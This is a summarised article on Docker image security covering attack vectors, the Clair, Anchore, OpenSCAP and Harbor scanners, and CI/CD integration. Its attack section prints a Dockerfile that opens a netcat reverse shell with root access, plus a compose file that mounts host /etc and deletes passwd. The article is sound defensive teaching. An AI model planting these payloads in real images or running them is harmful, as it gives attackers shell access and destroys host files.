How to Secure Docker Images: Attack Vectors, Scanning Tools, and Enterprise Integration

Overview

The article follows up a previous piece on Docker security baselines and focuses on Docker image security, covering attack techniques, scanning tools, integration with container registries and CI/CD systems, and offering an open‑source integration example.

Docker Image Attack Techniques

Three main attack vectors are discussed:

Dockerfile attacks – embedding malicious commands or vulnerable components in a Dockerfile. An example Dockerfile is provided that creates a reverse shell.

Docker Compose attacks – using a compromised compose file to execute malicious commands during container startup.

Automated image attacks – leveraging the dockerscan tool to inject backdoors into images and gain shell access when the image runs.

FROM alpine:latest
RUN apk add --update --no-cache netcat-openbsd docker
RUN mkdir /files
COPY * /files/
RUN mknod /tmp/back p
RUN /bin/sh 0</tmp/back | nc 192.168.160.1 12345 1>/tmp/back

Running the built image triggers a reverse shell to the attacker’s listener:

nc -lv 192.168.160.1 12345
sh# id
root

test:
  image: ubuntu:14.04
  volumes:
    - /etc:/test
  command: rm /test/passwd

Docker Image Security Scanning

Scanning is necessary because many public images contain vulnerabilities; a 2018 study showed 76% of Docker Hub images have at least one CVE, with 67% containing high‑severity issues.

Clair

Clair extracts image features, matches them against CVE databases, and reports vulnerabilities. It operates as a static analyzer, scanning each layer regardless of later deletions. The workflow includes periodic metadata updates, feature extraction via the Clair API, and vulnerability queries.

Key commands:

pip3 install clair
clairctl analyze -l cve-2017-11610_web
Image: /cve-2017-11610_web:latest
Unknown: 80 Negligible: 235 Low: 195 Medium: 418 High: 161 Critical: 0

Clair can be deployed on Kubernetes (via Helm) or locally with Docker and PostgreSQL.

git clone https://github.com/coreos/clair
cd clair/contrib/helm
helm install clair -f my_values.yaml

Anchore

Anchore performs deep image analysis, supporting custom policies, black/white lists, and both static and dynamic scanning. It provides a CLI ( anchore-cli) for managing images and policies.

git clone https://github.com/anchore/anchore-cli
cd anchore-cli
pip install --user --upgrade .

Anchore Engine can be integrated with Jenkins or GitLab to enforce policy checks during builds.

OpenSCAP for Docker

OpenSCAP uses the OSCAP database to scan containers. An example Docker image dduportal/oscap4docker:1.0.0 can be pulled and run to assess compliance.

docker pull dduportal/oscap4docker:1.0.0
docker run dduportal/oscap4docker:1.0.0

Integration with CI/CD and Registries

Scanning tools can be hooked into container registries and pipelines:

Clair can be integrated directly into a Docker registry so that image pushes automatically trigger scans and results are stored in the registry.

Anchore offers a Jenkins plugin and a Kubernetes‑native mode; the plugin can fail builds when policy violations are detected.

Harbor (VMware’s open‑source registry) bundles Clair for vulnerability scanning and adds content‑trust features. It can block image pulls based on configurable vulnerability thresholds.

Example CI flow with Anchore:

Jenkins builds image → push to Anchore Engine → policy evaluation → build passes or fails based on results.

Recommendations

Use the stable release versions of scanning tools (e.g., Clair release‑2.0) for production.

Be aware that Clair may report kernel‑related CVEs that are not exploitable inside containers; users should filter false positives as needed.

For environments heavily using Jenkins, Anchore provides tighter policy enforcement.

Harbor offers an easy‑to‑deploy solution with built‑in Clair integration and content‑trust support.

Conclusion

The article outlines how Docker images can be compromised, presents several open‑source scanning solutions, compares their architectures and deployment options, and gives practical advice for selecting and integrating a toolchain that fits an organization’s CI/CD workflow.

References

Docker image security overview: http://blog.nsfocus.net/docker-mirror-security/

Anchore security tool: https://github.com/anchore/anchore

Clair source code: https://github.com/coreos/clair

Harbor documentation: https://github.com/vmware/harbor/blob/master/docs/user_guide.md